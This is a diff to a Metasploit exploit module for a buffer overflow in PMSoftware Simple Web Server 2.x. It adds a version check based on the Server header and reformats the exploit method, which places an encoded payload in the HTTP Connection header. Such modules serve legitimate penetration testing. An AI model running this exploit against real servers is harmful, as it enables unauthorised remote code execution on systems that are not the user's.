diff --git a/modules/exploits/windows/http/sws_connection_bof.rb b/modules/exploits/windows/http/sws_connection_bof.rb index 240a89b23a..3096b9faf9 100644 --- a/modules/exploits/windows/http/sws_connection_bof.rb +++ b/modules/exploits/windows/http/sws_connection_bof.rb @@ -62,6 +62,15 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0)) end + def check + res = send_request_raw({'uri'=>'/'}) + if res and res.headers['Server'] =~ /PMSoftware\-SWS\/2\.[0-2]/ + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + def exploit sploit = payload.encoded @@ -75,9 +84,9 @@ class Metasploit3 < Msf::Exploit::Remote connect send_request_cgi({ - 'uri' => '/', - 'version' => '1.1', - 'method' => 'GET', + 'uri' => '/', + 'version' => '1.1', + 'method' => 'GET', 'connection' => sploit })